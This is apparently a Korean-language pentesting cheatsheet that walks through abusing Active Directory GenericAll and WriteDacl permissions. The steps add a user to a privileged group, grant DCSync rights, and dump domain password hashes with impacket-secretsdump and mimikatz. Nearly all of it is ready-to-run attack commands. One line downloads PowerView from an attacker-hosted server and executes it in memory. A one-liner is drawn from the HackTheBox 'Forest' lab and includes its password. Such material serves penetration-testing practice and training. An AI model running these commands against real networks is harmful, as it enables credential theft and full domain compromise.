eveses / field notes검색
Cheatsheet/CHEATSHEET

How to abuse GenericAll / WriteDacl permission on Active Directory

GenericAll과 WriteDACL 권한을 그룹 제어 및 DCSync까지 연결하는 Active Directory 공격 흐름입니다.

ADbloodhoundpermission
목차 3 SECTIONS +

1

상황 예시: BloodHound에서 GenericAll → target group, 그 그룹이 WriteDACL 권한을 도메인에 가지고 있어 DCSync 권한 부여로 이어지는 체인.

메모: PowerView in-memory 로드

TERMINAL / OUTPUT
# 공격자(예: Kali)에서 python3 -m http.server 8000 실행 후, 타겟에서 직접 로드
IEX (New-Object System.Net.WebClient).DownloadString('http://10.10.14.8:8000/PowerView.ps1')

GenericAll abuse

Linux (Samba / rpc 모듈 사용)

목적: GenericAll 권한을 이용해 대상 그룹에 사용자 추가

TERMINAL / PASS-THE-HASH
# 일반 계정/비밀번호 사용
net rpc group addmem "TargetGroup" "TargetUser" -U "DOMAIN"/"ControlledUser"%"Password" -S "DomainController"

# Pass-the-hash (LM:NT 해시) 사용 예시 (pth-net 포함)
pth-net rpc group addmem "TargetGroup" "TargetUser" -U "DOMAIN"/"ControlledUser"%"LMhash":"NThash" -S "DomainController"

확인

TERMINAL / OUTPUT
net rpc group members "TargetGroup" -U "DOMAIN"/"ControlledUser"%"Password" -S "DomainController"

PoC 2

Windows (PowerView)

Credential 생성

TERMINAL / OUTPUT
$SecPassword = ConvertTo-SecureString 'Password' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('domain\user', $SecPassword)

그룹 멤버 추가

TERMINAL / OUTPUT
Add-DomainGroupMember -Identity 'target_group' -Members 'target_member' -Credential $Cred

확인

TERMINAL / OUTPUT
Get-DomainGroupMember -Identity 'target_group'

실제 예 (htb forest machine 풀이 중)

TERMINAL / OUTPUT
$SecPassword = ConvertTo-SecureString 's3rvice' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('htb\svc-alfresco', $SecPassword)

# 이미 svc-alfresco로 로그인한 세션이면 Credential 생략 가능
Add-DomainGroupMember -Identity 'EXCHANGE WINDOWS PERMISSIONS' -Members 'svc-alfresco' -Credential $Cred

Get-DomainGroupMember -Identity 'EXCHANGE WINDOWS PERMISSIONS'

4

WriteDacl abuse

Linux (impacket)

impacket-dacledit 를 이용해 도메인 오브젝트의 DACL을 수정하여 DCSync 권한 부여

TERMINAL / OUTPUT
impacket-dacledit -action 'write' -rights 'DCSync' -principal 'target_user' -target-dn 'DN' domain/'user':'pass'

Windows (PowerView)

Credential 준비

TERMINAL / OUTPUT
$SecPassword = ConvertTo-SecureString 'Password' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('domain\user', $SecPassword)

도메인 오브젝트의 DACL에 DCSync 권한 추가

TERMINAL / OUTPUT
Add-DomainObjectAcl -Credential $Cred -PrincipalIdentity 'target_user' --TargetIdentity 'domainDN' -Rights DCSync

원라인 스크립트 예시

TERMINAL / OUTPUT
Add-DomainGroupMember -Identity 'Exchange Windows Permissions' -Members 'svc-alfresco';
Start-Sleep -Seconds 2;
$Sec = ConvertTo-SecureString 's3rvice' -AsPlainText -Force;
$Cred = New-Object System.Management.Automation.PSCredential('HTB\svc-alfresco', $Sec);
Add-DomainObjectAcl -Credential $Cred -PrincipalIdentity 'HTB\svc-alfresco' -TargetIdentity 'DC=htb,DC=local' -Rights DCSync

Add-DomainObjectAcl 사용 시 -PrincipalIdentity로 유저를 지정해야 정상 동작.

-TargetIdentity는 도메인명 문자열이 아닌 DN(DC=htb,DC=local) 형식으로 지정해야 정상 동작.

DCSync

Linux (impacket)

TERMINAL / OUTPUT
impacket-secretsdump domain/user:pass@target_ip

Windows (mimikatz) mimikatz.exe 사용

TERMINAL / OUTPUT
mimikatz # privilege::debug
mimikatz # lsadump::dcsync /domain:htb.local /user:Administrator
← All notesBack to top ↑